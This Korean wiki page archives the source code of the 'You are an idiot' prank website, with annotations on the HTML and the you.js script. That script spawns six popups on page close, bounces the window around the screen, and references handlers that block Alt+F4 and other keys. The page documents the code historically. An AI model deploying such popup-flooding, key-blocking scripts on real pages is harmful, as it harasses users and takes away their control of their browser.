[include(틀:상위 문서, top1=You are an idiot)] [목차] == 개요 == [[You are an idiot]] 페이지의 소스 일람. == index.html == 해당 홈페이지를 열면 나오는 페이지. 때에 따른 코드는 [[http://web.archive.org/web/*/www.youareanidiot.org|여기를 참고]] 2004년 9월 24일 기준 ><html> ><head> > ><title>You are an Idiot! (dot org)</title> ><script language="Javascript" src="http://www.youareanidiot.org/script/you.js"[* 웹사이트에서 팝업이 돌아다니게 만들어 준 문제의 스크립트이다.]></script> > ></head> > ><body bgColor=#ffffff onKeyDown="altf4key();ctrlkey();delkey();[* 알트+F4, 컨트롤, 딜리트키를 사용하지 못하게 막는다. 하지만 함수 형태로 보이며 you.js에는 없는 듯하다.]" onUnLoad="procreate()[* 팝업을 띄우는 역할을 한다.]" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> ><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="/web/20040924104957oe_/http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%"> > <param name=movie value="youare.swf"[* 이 웹사이트의 플래시를 표시 시킨다.]> > <param name=quality value=high> > <embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%"> > </embed> ></object> > ></body> ></html> == open.html == 해당 페이지는 you.js에서 openWindow 함수가 작동했을 때 보여지는 페이지이며, 2016년 4월 19일 기준 페이지 소스이므로 현재 you.js 호출 코드는 없다. ><html> ><head> ><title>You are an idiot!</title> ></head> ><body bgColor=#ffffff leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> ><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%"> > <param name=movie value="youare.swf"> > <param name=quality value=high> > <embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%"> > </embed> ></object> ></body> ></html> == you.js == ~~만악의 근원~~ 한때 창이 6개 띄워지거나 창이 요리조리 움직이거나 키가 안 먹는 원인이었던 자바스크립트 코드로 index.html의 소스에서 호출되어졌던 코드였다. 지금은 index.html에서 script 태그가 없어져서 작동하지 않는다. > var xOff = 5; > var yOff = 5; > var xPos = 400; > var yPos = -100; > var flagRun = 1; > >function openWindow(url){ > aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes'); >} > >function procreate(){ > openWindow('open.html');[* openWindow 함수를 호출하여 작은 창을 띄운다. '''6번'''] > openWindow('open.html'); > openWindow('open.html'); > openWindow('open.html'); > openWindow('open.html'); > openWindow('open.html'); > } > >function newXlt(){ > xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ; > window.focus() [* 현재 윈도우에 포커스를 얻는다. 새 창을 띄우면 그 창에 포커스가 맞춰지는 것과 같은 함수]} > >function newXrt(){ > xOff = Math.ceil(7 * Math.random()) * 5 - 10 ; > } > >function newYup(){ > yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ; > } > >function newYdn(){ > yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ; > } >function fOff(){ > flagrun = 0; > } > >function playBall(){ > xPos += xOff; > yPos += yOff; > if (xPos > screen.width-175){ > newXlt(); > } > if (xPos < 0){ > newXrt(); > } > if (yPos > screen.height-100){ > newYup(); > } > if (yPos < 0){ > newYdn(); > } > if (flagRun == 1){ > window.moveTo(xPos,yPos); > setTimeout('playBall()',1); > } > } 이 코드로 구동되는 웹 사이트에 대한 항목은 [[You are an idiot]] 참고 [[분류:웹사이트]]